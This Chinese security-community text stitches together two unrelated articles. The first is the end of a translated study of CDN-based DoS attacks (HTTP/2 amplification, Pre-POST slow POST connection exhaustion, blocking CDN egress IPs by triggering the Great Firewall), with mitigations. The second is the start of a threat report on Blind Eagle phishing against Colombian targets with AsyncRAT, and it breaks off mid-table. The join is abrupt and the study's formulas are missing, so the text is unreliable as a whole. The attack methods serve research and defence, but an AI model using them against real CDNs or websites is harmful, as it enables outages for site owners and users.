+ 7n）（n个HTTP/2流，每个流大于7B），以及CDN源连接为（BB + 6n），（n个HTTP/1.1连接，每个连接大于6
B）。因此对于:path:/?xxxyy形式，放大率将为（BB + 6n）/（FB + 7n）。
正如所说明的，FB约为数千，而BB约为数百万。因此有以下数学不等式：
为简单起见，假设F B = 5，000，BB = 600，000，当对n（并发流数）使用128或256时，不等式变为：
因此可以看到，为了获得最大的放大率，应该对HTTP / 2攻击请求进行特殊设计，使其尽可能使用HPACK索引机制。
**总结：**
对于攻击进行了一个受控实验，通过与一个CDN节点仅建立一个HTTP/2连接来获得网络流量放大率。但是，从作为客户端的攻击者的角度来看，他可以使用不同的CDN节点发起数千个HTTP/2连接（例如，发现128,906个CloudFront
IP可用于攻击）其他CDN的IP地址。根据获得的放大率，可以严重消耗CDN源连接的网络带宽，从而对源的性能产生不利影响。
鉴于默认情况下，这六个CDN中的五个中的HTTP /
2支持是打开的，甚至在三个CDN中甚至都不能关闭，因此可以看到这种威胁是严重的，并且会影响这些CDN上托管的所有网站。
## 0x04 Pre-POST Slow HTTP Attack
在本节中介绍Pre-POST慢速HTTP攻击，该攻击利用CDN基础结构对源进行DoS攻击。与依靠大型僵尸程序的传统DoS攻击相比，这种攻击更隐秘，更难以为源防御，因为精心设计的请求是合法的，并且是从CDN发起的。
### A.攻击面分析
Pre-POST慢速HTTP攻击旨在耗尽来源的连接限制，并使其他合法用户请求匮乏。从根本上讲，该攻击的行为与传统的慢速POST攻击相同。通常，由于CDN分离了客户端CDN（包括攻击者CDN）和CDN起源的连接，因此CDN自然可以抵御传统的慢速POST攻击。但是，通过实验，发现六个CDN中的三个仅在接收到POST标头后就开始转发HTTP
POST请求，而无需等待整个POST消息主体，这种Pre-POST行为使攻击者能够保持CDN源连接尽可能长时间保持打开状态，从而使攻击者可以耗尽源连接的限制。
**慢速HTTP DoS攻击：**
根据卡巴斯基2018年第四季度情报报告，与HTTP相关的攻击的总持续时间一直在增长，占全年DDoS攻击时间的80％左右。该报告发现表明，攻击者正在转向复杂的混合HTTP攻击技术，例如缓慢的HTTP
DoS攻击。
与暴力泛洪攻击相比，慢速HTTP DoS攻击更隐蔽，更高效。缓慢的HTTP
DoS攻击利用了HTTP协议的优势，HTTP协议旨在将连接保持打开状态，直到数据接收完成为止。因此，可以滥用请求流程的不同阶段来发起缓慢的HTTP
DoS攻击。慢速Header攻击发送部分报头，慢速Read攻击有意缓慢地接收响应数据，而慢速POST攻击以惊人的慢速发送已发布的数据。所有这些攻击旨在尽可能长时间地保持与目标服务器的大规模连接，导致目标的并发连接耗尽，并使其他正常用户请求一直等待。
**攻击原理：**
通常，为了防止由于DoS攻击而导致的不可用性，CDN会断开攻击者CDN和CDN源连接的耦合，并吸收所有泛洪流量。但是，对于由CDN驱动的网站进行缓慢的HTTP
DoS攻击的适用性仍然研究不足。
通过进一步的分析和实际实验，发现六个CDN中的每个仅转发请求，直到接收到完整的HTTP标头为止，因此能够防御缓慢的Header攻击。此外，在转发HTTP
GET请求时，CDN源传输依赖于攻击者客户端CDN的传播。因此，CDN能够阻止慢速读取攻击。
发现CDN呈现两种不同的POST转发行为，当CDN接收到对原点的POST请求时，CDN将面临何时将POST请求转发到原点的选择。为简单起见，CDN仅在完成接收整个POST消息后才能转发POST请求。但是，POST请求可能包含大型消息正文，这将花费很长时间才能接收，因此会延迟请求转发。
CDN也可以仅在完成接收到POST请求标头后就开始转发POST请求，然后在同一HTTP连接中顺序转发随后接收到的POST消息。这种POST前转发行为无疑可以促进源较早接收POST请求。但是，它还使攻击者能够将CDN起源的连接保持尽可能长的打开时间。
### B.真实攻击分析
**实验设置：** 在的实验中建立了一个自建的Apache网络服务器，并将其部署为六个CDN背后的源网站。 Apache
Web服务器的并发连接限制配置为默认值1000 。
从攻击者的角度来看，设计了POST请求以探索CDN的请求转发行为。特别是，要发布大型邮件，攻击者可以直接在Content-Length标头字段中指定大小，或使用Chunked-Encoding发送动态生成的数据，两者的目的都是缓慢地发送POST邮件。在这里，为简单起见，使用Content-Length字段指定HTTP消息正文的确切大小，并且POST消息正文的发送速度非常慢，需要300秒才能完成传输。
同时，在网站源位置，使用tcpdump工具捕获收到CDN转发的HTTP
POST请求的时间戳（相对于请求发送时间），以及CDN源连接保持打开状态的时间。发送1000个并发POST请求并重复此过程30次后，得到下表中所示的平均结果。
可以看到CloudFront和Fastly一旦收到转发请求标头就开始转发POST请求，而CDNSun，KeyCDN和Cloudflare仅在收到整个消息后才开始转发POST请求。
MaxCDN也将在0.74 s之后开始转发POST请求，但是当保持打开时间超过15 s时中止连接。
显然，对于CloudFront，Fastly和MaxCDN，CDN源连接的保持打开时间取决于客户端CDN连接的保持打开时间，而CDN连接的保持打开时间直接在客户端的控制之下，因此具有很大的潜力。因此，攻击者可以利用这种Pre-POST转发行为来发起缓慢的HTTP
DoS攻击：攻击者可以利用CDN并发建立并维护数百个甚至数千个这些POST连接，从而充分利用CDN（从而对源产生不利影响）。它将迅速耗尽来源的所有连接资源，并使其他正常请求匮乏，从而破坏了CDN提供的DoS保护。
**实验结果：** 此外通过CloudFront，Fastly和MaxCDN对的自建源Web服务器（连接限制为1000）进行了这种Pre-POSTPOST攻击，持续了300 s。从另一个角度来看，作为普通客户端，每5s定期测量一次客户端-CDN-源请求延迟，以探查起源连接资源是否耗尽。
对于CloudFront和Fastly，为耗尽源1000个连接的限制，同时向CDN发送1100个慢速POST请求。在源位置连接资源已耗尽，其他请求却一直等待。因此，如下图所示，对于CloudFront，普通客户端的请求延迟上升到90
s（返回HTTP 504网关超时），对于Fastly（返回HTTP 503服务不可用）上升到15 s，这证明了DoS的成功攻击。
由于MaxCDN将在15秒后中止POST连接，因此在攻击期间，每秒定期启动100个新的并发连接。如下图所示，连接数在1500左右波动，因为MaxCDN依次中止了先前的15秒持续连接。同时，如上图所示，由于普通客户端请求与针对释放的连接资源的攻击请求竞争，普通客户端的请求延迟在15s以下波动。
MaxCDN的这种现象说明了服务质量（QoS）攻击，该攻击旨在降低性能而不是完全禁用服务。
**Pre-POST HTTP/2攻击：** 鉴于CDN在客户端与CDN的连接中支持HTTP/2，还将进一步评估针对源的慢速HTTP/2
POST攻击。为了使用HTTP/2的复用流功能，与CDN建立10个同时HTTP/2连接，并在每个HTTP/2连接中发送100个POST请求。
POST请求的设计如下：
如下表所示，除Fastly之外，获得了与HTTP/1.1相同的POST转发行为。结果显示，对于10个CDN源连接，平均保持打开时间为299.41059
s，快速启动每个连接的第一个请求的预POST转发。同时，同一连接中的后续POST请求在Fastly中排队300
s，在此期间Fastly必须完成接收后续的整个POST消息，从而导致990个CDN起源的连接的平均保持打开时间为0.84946s。推测此现象的原因是，对于每个HTTP/2连接它都会快速维护一个POST请求队列，因此，仅在最重要的POST请求完成后才转发后续的POST请求。
对于目标源，此连接耗尽攻击的工作方式与直接慢速HTTP攻击相同，但是消耗了攻击者更少的资源，例如，攻击者只需维护与CDN的一个连接，然后将其滥用以代理并最大化同时进行CDN起源的连接。
**总结：**
通过实际实验，显示出六个CDN供应商中的三个支持POST前转发。这种POST前转发行为引入了新的攻击媒介，以打破CDN保护，并启用针对以CDN为动力的网站的来源的资源耗尽攻击。
## 0x05 Degradation-of-Global-Availability Attack
因为可以绕过CDN的请求路由机制，并且可以直接访问CDN代理服务器，所以攻击者可以直接向全球分布的入口IP发送精心设计的攻击请求，进行DDoS攻击，如下图所示。
收集了大量CDN入口IP（代理IP）后，评估了CDN呈现的DDoS攻击的可行性。发现与使用的入口IP数量相比，CDN用于将请求转发到源的出口IP的数量较小，从而导致出口IP调度率低得多。因此提出了这样一种可能性，即可以利用较低的IP转换速率来有效降低CDN驱动的网站的全球可用性。
### A.CDN进出口IP分配
确定给定CDN的入口和出口IP地址，可以直接从ICANN
WHOIS数据库或某些CDN供应商提供的正式发布信息中找到CDN的IP地址。但是，WHOIS信息可能不完整或已过时（由于GDPR的数据最小化原则，许多欧洲注册商已停止为ICANN
WHOIS数据库收集信息），并且正式发布的地址只是不分隔IP地址范围的IP地址范围。
由于需要深入分析CDN在接收最终用户请求时如何分配入口IP地址和出口IP地址，因此通过互联网范围的扫描探索入口IP分布，并通过向所有用户发送请求来揭示出口IP分布直接输入IP地址以模拟全球终端用户访问。
**入口IP分配：** 通过将网站部署在CDN后面，互联网范围的HTTP扫描是一种收集入口IP的直接方法，通过它可以访问网站内容。首先使用Censys
Internet HTTP扫描数据来过滤可能的入口IP。
Censys项目使用填充有扫描IP地址的Host标头扫描TCP端口80，并且CDN代理服务器在使用不正确的IP格式HTTP
Host标头访问它们时，将返回独特的错误HTTP响应（标头或正文），如下表所示。
然后，将主机域名中的网站域名主动发送给这些过滤的IP，可以通过其访问源的IP被收集为入口IP。如表下中所示，发现了大量入口IP。
**出口IP分配：**
对于实验，首先设置一个源服务器，该服务器将记录传入的出口IP和请求的URL。从客户端直接将请求发送到找到的所有入口IP。这些请求带有不同的查询字符串，以避免CDN的缓存命中，例如<http://IngressIP1/i.php?IngressIP1>
。然后，CDN通过不同的出口IP将这些请求转发到源服务器。最后，从源服务器上记录的数据中，收集出口IP并从URL查询字符串中提取相应的入口IP。
为了尽可能多地收集出口IP，每隔24小时向入口IP发送一次请求，并在源处记录结果数据。上表中显示了删除重复项后的出口IP数量以及它们的BGP前缀和ASes（由Route
View Project
数据确定）。从上表可以看到，即使CDN具有大量的入口IP，CDN也会对传入的请求进行分组，并分配少量的出口IP，以将请求转发到源。还发现对于每个转发的请求，请求的出口IP与入口IP不同，例如在24小时范围内，通过CloudFront发送的请求中只有0.06％具有相同的入口/出口IP，其他CDN的相应百分比为Cloudflare为0％，Fastly为0.02％和MaxCDN为3.82％。
此外，在相同的24小时测量持续时间内，分析了出口IP搅动率（或发生率），它描述了CDN重复分配相同出口IP的频率。在上图（Y轴为对数比例）中，为简单起见仅绘制了前32个分配最多的出口IP
4的比率。从图中可以看到96.32％的MaxCDN请求来自一个单一的出口IP。换句话说，MaxCDN仅通过一个出口IP分配了大多数请求。另一方面，对于其他CDN，可以在图中看到它们的出口IP被更均匀或随机地分配，其中出口IP所收取的请求不超过10％。
**源位置的影响：**
可以看到某些CDN分配了少量出口IP来访问源，并且不会很快搅动这些IP。为了验证源位置是否会影响攻击，换言之，MaxCDN分配的出口IP是否是源IP的功能，在位于新加坡硅谷、北京和新加坡的源服务器进行设置并进行了实验，并确定分配给这些不同位置的出口IP相同。
### B.攻击面分析
CDN通过其大规模的地理分布代理服务器为网站提供全球可用性。如果攻击者想要停止或降低CDN支持的网站的全球可用性，最明显的方法是直接对源头发起DoS攻击。但是，如果没有相关的历史数据或信息的意外泄漏，则很难确定源IP地址。因此，为了尝试攻击方法，攻击者可以尝试入侵和控制某些路径上的网络基础结构（例如，路由器或防火墙），使其成为客户端CDN连接或CDN来源中的路径连接以阻止相关IP。
但是，由于CDN代理在全球范围内分布有大量IP地址，因此攻击者（甚至是国家级攻击者）不可能在所有客户端CDN连接或CDN源连接中都处于路径上。因此，在攻击者仅能阻止几个连接的前提下，通常，攻击不会影响网站的全球可用性。
在这里，如上图所示可视化了一个威胁模型，即攻击者只能切断一个或一小组CDN起源的连接，而攻击者的目标是降低CDN驱动的网站的全球可用性。认为这种威胁模型是切实可行的，因为它要求攻击者入侵并控制更少的路径上网络基础结构（例如路由器或防火墙），才能切断一个或一小套CDN源连接，否则攻击者可以发起交叉攻击，通过淹没CDN节点周围的网络链接来秘密地切断一个或一小群CDN节点的互联网连接。基于此威胁模型，进一步评估了全球可用性下降攻击的可行性和严重性。
### C.真实攻击分析
**实验设置：**
可以看到根据上图，降低以MaxCDN为动力的网站的可用性仅需要切断一个CDN源连接（即，阻止一个出口IP），而对于其他CDN，则需要切断更多的CDN。连接。
在实验中，在0小时将请求发送到给定CDN的所有入口IP，以模拟访问网站的全球客户，并获得成功请求的数量作为计算以下访问率的基础。
此后从小时1开始，将封锁分配最多的出口IP，以模拟切断CDN源连接（例如，交叉攻击）。对于MaxCDN，仅阻止一个路径防火墙中的一个出口IP，而对于其他CDN，阻止分配最多的16个出口IP。仍然每小时一次将请求重复发送到同一组入口IP，持续12小时，以模拟全球客户端的访问并记录成功访问率。请注意，所有请求均使用随机URL发送，以绕过CDN缓存。
**实验结果：**
在图下中绘制了每小时访问率，由于MaxCDN仍将阻塞的IP分配给转发大多数请求，因此访问率在12小时内下降到不足10％。这种现象进一步表明，当其他出口IP仍可以访问源时，MaxCDN缺乏检测攻击的机制。
在上图可以看到其他CDN也缺少检测攻击的机制，例如，对于CloudFront，访问率在阻塞后波动约40％，而对于Cloudflare和Fastly，访问率波动约90％，这可能归因于其更快地制造出口IP的能力。
**实际分析：**
由于源IP地址隐藏在CDN后面，因此不可能对源进行直接DoS攻击。假设攻击者（例如国家级）可以通过入侵路径上的网络基础设施（例如，路由器或防火墙）或发起交叉攻击攻击来阻止一个或一小套CDN源连接出口节点的互联网访问。在这里进一步揭示了在特定的网络情况下，普通攻击者如何能够轻松获得切断CDN来源连接的能力，从而使攻击更加实用。
众所周知，GFW将检查可能通过的HTTP连接。在HTTP连接中检测到任何敏感的禁止词（例如ultrasurf）后，GFW将注入TCP
RST数据包以关闭该连接，并且GFW将将该HTTP连接中的IP对列入黑名单近90 s。在本文中，介绍了普通攻击者如何滥用GFW的能力来发起可用性降低攻击。
CDN仍支持CDN源连接中的纯文本HTTP协议，路径上的网络基础设施可以拦截该协议。如下图所示，当GFW已位于CDN与源之间的路径上时，攻击者可以故意发送HTTP
GET请求以及GFW禁止的词，以激活GFW的连接重置机制。
这种机制导致CDN出口IP和源IP对被GFW阻止了90
s。在这90秒钟内，当普通客户端尝试访问该网站时，并且如果分配了相同的CDN出口IP来访问源，则GFW将继续重置随后的新TCP连接，即使没有GFW被禁止这些联系中的词。因此，普通客户将无法访问该网站，从而降低了来源的可用性。
此类降级的严重程度取决于可以将多少个CDN出口IP添加到GFW的黑名单中。正如已经说明的，攻击者可以轻松获取CDN入口IP，并将GFW禁止的请求连续发送到每个入口IP。根据CDN的出口IP分配策略，越来越多的CDN出口IP将被添加到GFW黑名单中。请注意，CDN会分配少量出口IP，从而进一步降低了此类攻击的门槛，因为将这些较少的出口IP添加到GFW黑名单中会消耗更少的时间。因此，当所有出口IP都被列入黑名单时，没有客户端将能够访问目标网站，从而导致源服务不可用。
为简单起见和出于道德考虑，进一步评估针对位于MaxCDN后面的位于中国的网站的攻击。由于GFW会重置发送到中国或从中国发送的TCP连接，并且出口IP都位于中国境外，因此在北京建立了一个网站，该网站部署在MaxCDN的后面。后来，从作为攻击者的Singa漏洞的优势出发，不断将GET
/ ultrasurf HTTP请求直接发送到之前找到的MaxCDN入口IP。
同时，从新加坡作为普通客户的另一个角度出发，发送GET/normal
HTTP请求以验证该网站是否仍可访问。为了访问网站，MaxCDN分配的出口IP少于12个，而GFW可能会附带阻止该出口IP，在这种情况下，将使网站完全无法访问。由于GFW被滥用，当攻击通过中国以外的CDN进行访问时，攻击只会影响位于中国的源。但是，可以看到CDN的较低IP输出速率确实降低了攻击的难度。
**总结：**
首先可以看到，与CDN通常使用的成千上万个入口IP相比，出口IP地址空间要小得多，这有助于攻击者缩小攻击目标的范围。其次，较低的IP传输速率降低了对CDN源连接的攻击难度，例如访问阻止（路径上阻止或路径外DoS攻击，例如“
CrossFire”攻击），流量窃听或查找通过历史网络流量的源服务器IP。因此认为，这一威胁可能比乍一看可能要严重得多。
## 0x06 Discussion
### A.严重程度分析
在本文中使用六个CDN的实际测量结果表示可以利用这些CDN的操作和体系结构弱点来破坏这些CDN提供的DoS保护。对于以CDN为动力的网站，CDN建议源服务器强制执行防火墙白名单，以仅允许CDN发起的连接。因为源必须仅与更可信赖的CDN通信，所以源可以完全委托CDN进行DoS保护，而无需执行任何本地的反DoS机制。因此，当绕过CDN提供的DoS保护时，可能导致对源的更严重损害。
由于CDN供应商未验证来源的所有权，因此恶意CDN客户可以将任何其他网站配置为CDN背后的来源。因此，本文中的威胁也可以被滥用为不仅攻击已经在CDN中托管的网站，而且还会攻击那些不在CDN中托管的网站。安全团队在对披露的回应中也表达了同样的担忧。
### B.原因和缓解
通常，威胁存在的部分原因是市场竞争。
CDN供应商自然希望提供更多功能，并与不同配置的客户网站实现最大的兼容性。但是，万维网生态系统同时受到网络和应用程序层威胁的威胁，因此，可以利用这些CDN提供的功能齐全的功能（带有协议缺陷或实施缺陷）来破坏CDN的安全性。
**HTTP/2带宽放大攻击：**
该威胁来自CDN的HTTP/2半完成支持。默认情况下，许多CDN都打开了HTTP/2，这一威胁变得更加严重。假定此漏洞的原因是CDN供应商缺乏在CDN起源的连接中启用HTTP/2的动机。例如，Cloudflare指出“
HTTP/2协议现在专注于改善浏览器的行为，无需为启用HTTP/2而对源进行任何修改。”。另一个原因可能是HTTP/2仍未被互联网上的网站广泛部署。根据CloudFront的说法“仍然使用HTTP/1建立从CloudFront到源服务器的连接。您无需进行任何服务器端更改即可通过HTTP/2访问静态或动态内容。”
从根本上讲，HTTP/2规范在HTTP/1.1和HTTP/2共存环境中缺乏足够的安全考虑。同时，当CDN供应商急于支持HTTP/2以获得以效率为中心的功能时，这些CDN供应商仅在客户端CDN连接中支持HTTP/2，导致HTTP/2-HTTP/1.1转换环境不支持。在相关规范中明确定义。这两个因素导致HTTP/2威胁。因此认为CDN供应商在支持该新协议时应保持保守，而应将其作为“选择加入”选项。此外，如果打开HTTP/2，CDN供应商还应该进一步限制转换后的CDN起源的HTTP/1.1连接。
**Pre-POST HTTP攻击：**
通常，CDN将传统的客户端与网站的连接分离为客户端CDN和CDN起源的连接，这种设置自然可以抵御来自客户端的缓慢的HTTP攻击。但是，某些CDN的Pre-POST转发行为使攻击者能够控制后端CDN起源的连接。
Pre-POST威胁利用了某些CDN供应商的意图来加快POST转发的速度，同时引入了新的攻击媒介。研究表明，已检查的六个CDN中有三个容易受到威胁。最明显的缓解方法是，网站管理员可以在源端实施超时，尽管此解决方法需要在每个由CDN驱动的网站上进行配置。建议CDN供应商实施更严格的POST转发机制，例如Cloudflare已应用的store-then-forward。
**全球可用性下降攻击：**
CDN的出口IP分配策略绝对取决于实现。根据测量，某些CDN供应商的出口IP分配策略是可以预测的。尤其是，MaxCDN可以通过相同的出口IP分配大多数全球请求，即使源位于不同的区域也是如此。因此，对于攻击者来说，降低全球可用性的攻击变得更加实际，要求切断或阻止更少的CDN起源连接。
这种威胁利用了CDN的重点，即以更少的IP资源有效地访问Web资源，即更有效地访问和缓存），从而使全球可用性降低攻击更易于执行。因此，为了提供更强大的网络服务，建议CDN供应商将其出口IP分配策略调整为更加不可预测，例如通过分配更多出口IP并频繁地对其进行搅动。
**总结：** 这三种威胁的存在揭示了CDN对可用性和效率的追求，同时显然忽略了安全性。总体而言，建议在下表中列出以下CDN方面的缓解措施。
此外，由于证明CDN转发的请求可能被滥用来攻击网站服务器，因此也建议网站服务器实施本地DoS防御，例如请求过滤或带宽限制，即使这些网站服务器部署在可信赖的CDN后面。
## 0x07 Conclusion
CDN已成为互联网不可缺少的一部分，除其他好处外，它还为CDN驱动的网站提供了反DoS服务。但是，通过利用其体系结构、实施或操作上的弱点，CDN本身也可以用来破坏CDN
DoS保护。
通过揭示三个相关威胁并提供六个CDN的真实测量，本文揭示了CDN供应商在安全性和可用性之间做出的有缺陷的取舍。由于协议或实施方面的弱点，可以滥用CDN中功能齐全的HTTP转发支持来对源网站发起有效的DoS攻击。希望本文工作能够促使CDN提高其安全标准，并激励更多的研究人员探索CDN相关的安全性。 | 社区文章 |
**作者：启明星辰 ADLab
公众号：<https://mp.weixin.qq.com/s/T15pdznZZ4ZsVVpcKrWlnQ>**
## **一、概述**
启明星辰ADLab实验室在近几个月内，通过威胁情报检测系统接连捕获到多起针对哥伦比亚国家的政府部门，金融、银行、保险等行业及卫生和制药机构发起的钓鱼邮件定向攻击。攻击者以“冠状病毒检测紧急告知单”或“刑事诉讼通知单”等命名的诱饵文档作为邮件附件，并配合鱼叉邮件向攻击目标电脑植入远控木马。从邮件分析结果来看，攻击者会将邮件的来源伪装成哥伦比亚国家卫生部、国家税务和海关总署、民事身份登记处、检察院以及移民局等政府部门，以加强其邮件的真实性。我们通过对攻击者伪装的来源信息、域名使用偏好、IP地址关联及地理位置等特性进行对比分析，发现该系列攻击来源于盲眼鹰组织，但采用的攻击武器较以往完全不同。盲眼鹰首次被披露于2019年初，是一个疑似来自南美洲的APT组织，其最早活跃时间可追溯到2018年，主要针对哥伦比亚政府和大型公司进行攻击。
在对攻击活动深入分析后，我们发现该组织在我们发现的这批攻击中采用了更为先进攻击技术和反追踪技术。在以往的攻击中，该组织多使用MHTML格式的恶意文档作为攻击附件，而在本次攻击过程中，该黑客组织使用一个无恶意的文档作为媒介，诱使目标下载文档中提供恶意短链接（该短链接指向一个加密过MHTML的恶意文档），这大大提高攻击的有效性，其不仅能够绕过邮件安全防护系统和入侵检测系统，而且大大的降低了被杀毒软件查杀的概率（我们捕获的许多样本在VT上的查杀率均0，部分样本也长期保持着低于5%的极低查杀率）；我们发现的这批攻击中，该黑客组织放弃了以往常用的Imminent
Monitor RAT，采用了一款隐蔽能力和免杀能力更强的RAT--AsyncRAT，同时结合复杂多层加密与代码嵌套手段来提供反分析能力和反检测能力。
AsyncRAT是来源于国外的一款远控木马，其除了能够对目标进行最基本的远程间谍活动外，还可使用USB设备突破物理隔离、使用bot
killer清除目标上的竞争对手等。该木马最具特点的是采用不落地的无害模块作为目标的僵尸进程， 并采用 **“propelling in
use，destroy after use”**
的工作模式，即分解攻击任务为子任务，每个子任务以一个单独的DLL模块来实现，黑客执行任务时由多个子任务DLL模块按照一定的执行序列来实现，同时对完成任务的模块进行及时销毁。这种工作模式将一个完整恶意任务分解成多个无害的子任务，能够有效地躲避一些复杂安全防护策略，同时也能有效地防止取证分析人员获取其核心攻击模块。
此外，该黑客组织还采用了 **“Double Flux+Fast VPN”**
技术来达到反追踪和反侦测的目的。我们通过对攻击者使用的C&C基础设施进行分析发现，这批攻击的C&C域名是通过DNSExit.com来动态分派IP地址(IP地址是动态变化的，几乎都归属于哥伦比亚的ISP)。实际上，DNSExit不仅是一个“1(dns)对n(IP)”的服务，更是一个“m(dns)对n(IP)”，因此其应该采用了“double
flux”技术来规避溯源与追踪。不仅如此，黑客组织使用这种服务的背后还加了一层VPN，也就是说通过“Double
Flux”得到的IP地址并不是黑客真正的IP地址， 其只是一系列的VPN节点(节点的IP地址由Unus.Ins服务商提供)，因此借用”fast
flux”命名法我们将这种反追踪技术称为Fast VPN。攻击者利用“Double Flux+Fast
VPN”技术来作为攻击载荷和木马回连的通道，使得黑客的攻击变得非常难以追踪和溯源。
## **二、 攻击活动分析**
本章总结了黑客组织近期的攻击活动事件以及本次活动中使用的攻击手法。
### **2.1 近期攻击活动**
启明星辰ADLab实验室基于原始线索对黑客组织本次的攻击活动进行了全面追踪、关联和分析，发现此次活动最早可追溯到2019年9月，且近期活动主要以COVID-19相关内容作为钓鱼诱饵。我们综合所有的威胁情报数据，梳理了本次该组织发起的所有攻击事件，并绘制出以下攻击事件时间线。
图2-1 APT组织近期攻击事件时间线
### **2.2 攻击手法**
在本次攻击活动中，我们发现盲眼鹰APT组织主要采用鱼叉邮件作为初期攻击方式。攻击者伪装成来自哥伦比亚卫生部、哥伦比亚国家总检察院、哥伦比亚移民局、哥伦比亚国家税务和海关总署以及哥伦比亚民事身份登记处等部门，向使用西班牙语言的南美地区（特别是哥伦比亚国家）的政府部门，金融、银行、保险等公司，以及卫生和制药机构的相关人员投递恶意攻击邮件。邮件主题均与攻击者所仿冒的政府部门文件题材相关，并在邮件正文添加针对附件文件的诱导性描述和附件查看密码等信息，更有利于加强邮件的真实性，诱使受害者启用恶意宏代码，进而向攻击目标机器上植入木马程序，以实施对入侵设备的远程控制、窃取机密数据、系统破坏等恶意行为。
启明星辰ADLab实验室通过对该组织近期攻击的监测和关联分析，发现了多个与其相关的邮件，下面我们列举出部分邮件内容以及针对性的诱饵文档。
#### **2.2.1 钓鱼邮件详情**
**伪装成哥伦比亚卫生部：**
1） 图2-2是攻击者伪装成哥伦比亚卫生部的攻击邮件之一。邮件主题为“Usted ha sido citado para una prueba
obligatoria de (COVID-19)”（翻译后为：“您被要求参加强制性检测（COVID-19）”）。
图2-2 伪装成哥伦比亚卫生部邮件之一
2） 图2-3是攻击者伪装成哥伦比亚卫生部的攻击邮件之二。邮件主题为“Le hemos llamado en repetidas ocaciones y
no ha sido posible contactarle por favor leer comunicado
urgente”（翻译后为：“我们已经多次致电给您，无法联系到您，请阅读紧急通知”）。
图2-3 伪装成哥伦比亚卫生部邮件之二
3） 图2-4是攻击者伪装成哥伦比亚卫生部的攻击邮件之三。邮件主题为“Detectamos en su sector la presencia de
COVID-19 ( Corona virus ) intentamos comunicarnos via telefonica con
usted”（翻译后为：“我们在您的部门发现了COVID-19( Corona virus )，并尝试通过电话与您联系”）。
图2-4伪装成哥伦比亚卫生部邮件之三内容
**伪装成哥伦比亚国家税务和海关总署：**
图2-5是攻击者伪装成哥伦比亚国家税务和海关总署的攻击邮件。邮件主题为
“Procederemos con una orden de embargo a las cuentas bancarias encontradas a
su nombre”（翻译后为：“我们将对以您名义发现的银行账户发出冻结令”）。
图2-5 伪装成哥伦比亚国家税务和海关总署的邮件
**伪装成哥伦比亚民事身份登记处：**
图2-6是攻击者伪装成哥伦比亚民事身份登记处的攻击邮件。邮件主题为“Su cedula de ciudadania ha sido reportada
como robada en nuestro sistema”（翻译后为：“您的公民证已在我们的系统报失”）。
图2-6 伪装成哥伦比亚民事身份登记处的邮件
**伪装成哥伦比亚检察院：**
图2-7是攻击者伪装成哥伦比亚检察院的攻击邮件。邮件主题为“El presente es el requerimiento enviado a
declarar por el proceso iniciado en su contra (ultimo
aviso)”（翻译后为：“这是针对您发起的处理流程声明（最后通知）”）。
图2-7 伪装成哥伦比亚检察院的邮件
**伪装成哥伦比亚移民局：**
图2-8是攻击者伪装成哥伦比亚移民局的攻击邮件。邮件主题为“Comunicado 710297647: Proceso Penal
Pendiente”（翻译后为：“声明710297647：待定刑事诉讼法”）。
图2-8 伪装成哥伦比亚移民局的邮件内容
#### **2.2.2 诱饵文档**
根据现有的情报分析表明，该组织以往最常用的邮件附件是带有恶意宏的MHTML格式的DOC文档。我们对近期捕获到的相关攻击样本进行分析后，发现在大多数情况下，攻击者开始使用带有短链接的RTF或PDF文档来作为恶意附件，以绕过邮箱网关的检测。表2-1列出了黑客组织在此次攻击活动中使用的恶意文档信息。
**文件名** | **时间戳**
---|---
citacion prueba covid.pdf | 2020-07-09 11:06:40
citacion prueba covid.pdf | 2020-06-19 14:11:05
Comunicado.pdf | 2020-04-25 13:11:38
minsaludcomunicado.pdf | 2020-03-04 22:17:40
estado de cuenta.pdf | 2020-02-25 21:58:29
reactivar mi cedula.pdf | 2020-02-03 23:18:38
DIAN estado de cuenta.rtf | 2019-11-04 15:01:00
pdfproceso.rtf | 2019-10-25 14:09:00
Proceso.rtf | 2019-08-26 21:00:00
表2-1 相关恶意文档信息
**1）案例1**
附件RTF文档中内嵌一个名为“VER PROCESO”的跳转链接，其指向的恶意链接使用的是IP Logger短链接服务。
图2-9 RTF文档内容
图2-10 IP Logger短链接平台
**2）案例2**
附件PDF文档中内嵌一个名为“Ver
comunicado”的跳转链接和一行文本信息（仅用于提升文档的可信度）。其指向的恶意链接使用的是Acortarurl短链接服务。
图2-11 PDF文档内容
## **三、溯源与关联分析**
在对本次攻击样本的IOC进行深入追踪溯源后，我们挖掘出黑客组织更多的C2服务器信息。后文，我们将结合目前掌握的情报数据和公开的研究报告资料信息，来对此次攻击事件进行详细的组织关联分析。
#### **3.1 C &C基础设施分析**
通过提取和关联所有样本中的C&C服务器相关信息，我们发现黑客组织所使用的基础设施都位于哥伦比亚、哥斯达黎加和巴拿马，所有IP都归属于哥伦比亚的ISP。查看这些IP的具体信息（如图3-1）可以看到，此IP段的网络服务提供商是Unus.Ins公司，该公司操控着26209个IP地址，且几乎所有这些IP地址都是提供给匿名VPN服务使用，例如Powerhouse
Management.Inc（phmgmt.com）。由于该ISP在网络中的流量大多数具有欺诈性，因此美国反欺诈安全公司Scamalytics将其标注为高欺诈风险ISP（如图3-2）。
图3-1 相关IP具体信息
图3-2 Scamalytics公司标注信息
图3-3为该组织在此次攻击活动中使用的部分域名、IP、PE文件和Office文件的对应关系：
图3-3 对应关系图
该组织使用的域名是在国外DNSExit.com平台上免费注册的三级子域（该平台提供的免费域实际上是二级域，如图3-4），且这些子域所指向的IP地址被频繁的更换（如图3-5）。如果一个C2服务器被关闭，攻击者则可以快速地更新DNS记录指向新服务器，恢复连接。攻击者利用域名注册商提供的DNS服务（double
flux），再配合使用VPN服务（fast VPN）作为攻击载荷和木马回连的通道，以达到反追踪和反侦测的目的。
图3-4 DNSExit.com平台
图3-5 域名指向的IP
#### **3.2关联和技术演进分析**
我们从本次事件中黑客组织所使用的样本、C&C服务器等层面进行了关联分析，并结合该组织早期攻击活动中的相关特性，得出以下几处重要的关联点。
##### **3.2.1 伪装成来源信息**
在早期的攻击活动中，盲眼鹰组织惯于将自身伪装成哥伦比亚国家民事登记处、哥伦比亚国家税务和海关总署等部门来对哥伦比亚的政府和金融机构进行攻击。而在本次攻击事件中，攻击者所使用邮件的伪装来源信息除了同该组织具有一定的重叠以外，还新增了一些哥伦比亚其他政府部门信息。具体详见表3-1。
**诱饵伪装来源（2018年4月-2019年2月）** | **诱饵伪装来源（2019年9月-2020年7月）**
---|---
哥伦比亚民事登记处 | 哥伦比亚民事登记处
哥伦比亚国家税务和海关总署 | 哥伦比亚国家税务和海关总署
哥伦比亚国家司法部门 | 哥伦比亚国家总检察院
哥伦比亚国家统计局 | 哥伦比亚移民局
哥伦比亚国家网络警察局 | 哥伦比亚卫生部
